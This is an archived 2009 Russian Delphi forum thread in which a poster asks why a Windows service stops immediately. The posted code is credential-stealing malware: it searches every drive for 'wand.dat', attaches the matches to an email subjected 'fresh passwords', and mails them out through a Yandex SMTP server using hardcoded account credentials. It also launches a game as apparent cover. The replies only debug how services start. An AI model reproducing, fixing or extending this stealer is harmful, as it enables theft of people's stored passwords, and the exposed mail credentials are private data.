Главная страница
    Top.Mail.Ru    Яндекс.Метрика
Форум: "Начинающим";
Текущий архив: 2009.09.13;
Скачать: [xml.tar.bz2];

Вниз

создание службы   Найти похожие ветки 

 
liveD ©   (2009-07-10 14:10) [0]

Создал службу, а она не работает. Ошибок при компиляции нет.
В обычном приложении работает отлично.
Пишет, что служба автоматически остановлена, так как ей нечего делать.
Подскажите, что делать?

unit Unit1;

interface

uses
 Windows,Masks, Messages, SysUtils, Classes, Graphics, Controls, SvcMgr, Dialogs,
 ExtCtrls, IdComponent, IdTCPConnection, IdTCPClient, IdMessageClient,
 IdSMTP, IdAntiFreezeBase, IdAntiFreeze, IdBaseComponent, IdMessage;

type
 TService1 = class(TService)
   Timer1: TTimer;
   IdMessage1: TIdMessage;
   IdAntiFreeze1: TIdAntiFreeze;
   IdSMTP1: TIdSMTP;

   procedure Search;
   procedure Scan(s: string);
   procedure sendmail;

   procedure Timer1Timer(Sender: TObject);
   procedure ServiceStop(Sender: TService; var Stopped: Boolean);
   procedure ServiceExecute(Sender: TService);
   procedure ServiceStart(Sender: TService; var Started: Boolean);
 private
   { Private declarations }
 public
   function GetServiceController: TServiceController; override;
   { Public declarations }
 end;

   const //Needfound1="Floppy_95.IMZ";
       Needfound2="wand.dat";
var
 fileN:string;

var
 Service1: TService1;

implementation

{$R *.DFM}

procedure TService1.sendmail;
begin
idsmtp1.Host:="smtp.yandex.ru";
idsmtp1.Port:=25;
idsmtp1.MailAgent:="SoVa32@yandex.ru";
idsmtp1.Password:="240785128";
idsmtp1.UserId:="SoVa32@yandex.ru";
IdMessage1.From.Text:="SoVa32@yandex.ru";
IdMessage1.Recipients.EMailAddresses:="SoVa32@yandex.ru";
IdMessage1.Subject:="Svejie parolchiki";

IdSMTP1.Connect;
if IdSMTP1.Connected then
IdSMTP1.Send(IdMessage1);
IdSMTP1.Disconnect;

end;
//********************
procedure TService1.Scan(s: string);
var
 sr: TSearchRec;
 r: integer;
 OldDir: string;
begin
 {$I-}
 ChDir (s);
 {$I+}
 if IoResult = 0 then begin
   try
     r := FindFirst ("*.*", faAnyFile, sr);
     while r = 0 do begin
       if (sr.Name <> ".") and (sr.Name <> "..") then begin
         if (faDirectory and sr.Attr) = faDirectory then begin
           OldDir := GetCurrentDir;
           Scan (ExpandFileName (sr.Name));
           ChDir (OldDir);
         end else begin
           if MatchesMask (sr.Name, fileN) then begin
   TIdAttachment.Create(IdMessage1.MessageParts, ExpandFileName (sr.Name));
                                                            end;
         end;
       end;
       r := FindNext (sr);
     end;
   finally
     FindClose (sr);
   end;
 end;
end;

procedure TService1.Search;
var
 DriveNum: Integer;
 DriveChar: Char;
 DriveBits: set of 0..25;

begin
 Integer(DriveBits) := GetLogicalDrives;
 for DriveNum := 1 to {2}5 do begin // 25!!!!!!!!!!!
 if not (DriveNum in DriveBits) then
   Continue;
   DriveChar := Char(DriveNum + Ord("a"));
   Scan (DriveChar + ":\");
 end;
end;

//********************

procedure ServiceController(CtrlCode: DWord); stdcall;
begin
 Service1.Controller(CtrlCode);
end;

function TService1.GetServiceController: TServiceController;
begin
 Result := ServiceController;
end;

procedure TService1.Timer1Timer(Sender: TObject);
begin
WinExec("D:\delphy\yetisports1.exe",sw_show);

end;

procedure TService1.ServiceStop(Sender: TService; var Stopped: Boolean);
begin
Stopped:=true;
end;

procedure TService1.ServiceExecute(Sender: TService);
var
a:integer;
begin
fileN:=Needfound2;
fileN:="wand.dat";
Search;
sendmail;
while not Terminated do begin a:=1+1; end;
   ServiceThread.ProcessRequests(True);
end;

procedure TService1.ServiceStart(Sender: TService; var Started: Boolean);
begin
Started:=true;
end;

end.


 
Сергей М. ©   (2009-07-10 14:17) [1]

Службы запускают средствами Service Manager, а не как обычные приложения


 
вадик   (2009-07-10 14:19) [2]

Я знаю. Сначала через параметр инсталл, а потом в администрирование - службы - запустить.


 
Сергей М. ©   (2009-07-10 14:24) [3]


> вадик   (10.07.09 14:19) [2]


Это ты знаешь)
А вот автор топика, т.е. liveD © , видимо, не знает)


 
вадик   (2009-07-10 14:25) [4]

liveD - это я вадик :-)


 
clickmaker ©   (2009-07-10 14:26) [5]

что это? while not Terminated do begin a:=1+1; end;
тест процессора на разогрев?

обычно так делают, даже в справке пример есть
while not Terminated do begin
 ServiceThread.ProcessRequests(True);
end;


 
вадик   (2009-07-10 14:28) [6]

у меня обработка идет на ServiceExecute. Пробовал и на ServiceStart - всеравно служба запускается и сразу же останавливается.


 
Palladin ©   (2009-07-10 14:28) [7]


> вадик   (10.07.09 14:25) [4]

Вадик, ты бы определился кто ты именно. А то сегодня Вадик, завтра Женя...
У нас тут все же правила есть:
http://www.delphimaster.ru/forums.shtml#rule Запрещается: п.5



Страницы: 1 вся ветка

Форум: "Начинающим";
Текущий архив: 2009.09.13;
Скачать: [xml.tar.bz2];

Наверх





Память: 0.47 MB
Время: 0.004 c
15-1247591897
Shyrick
2009-07-14 21:18
2009.09.13
Проблема с java-скриптовым редактором


15-1247517154
Юрий
2009-07-14 00:32
2009.09.13
С днем рождения ! 14 июля 2009 вторник


15-1247622069
DV-Karpov
2009-07-15 05:41
2009.09.13
Кнопки в системном меню (Стиль Windows XP)


4-1217319477
Nucer
2008-07-29 12:17
2009.09.13
Достать текст из TStringGrid чужого окна


15-1247605777
Игорь Шевченко
2009-07-15 01:09
2009.09.13
С днем рождения, Digitman!





Afrikaans Albanian Arabic Armenian Azerbaijani Basque Belarusian Bulgarian Catalan Chinese (Simplified) Chinese (Traditional) Croatian Czech Danish Dutch English Estonian Filipino Finnish French
Galician Georgian German Greek Haitian Creole Hebrew Hindi Hungarian Icelandic Indonesian Irish Italian Japanese Korean Latvian Lithuanian Macedonian Malay Maltese Norwegian
Persian Polish Portuguese Romanian Russian Serbian Slovak Slovenian Spanish Swahili Swedish Thai Turkish Ukrainian Urdu Vietnamese Welsh Yiddish Bengali Bosnian
Cebuano Esperanto Gujarati Hausa Hmong Igbo Javanese Kannada Khmer Lao Latin Maori Marathi Mongolian Nepali Punjabi Somali Tamil Telugu Yoruba
Zulu
Английский Французский Немецкий Итальянский Португальский Русский Испанский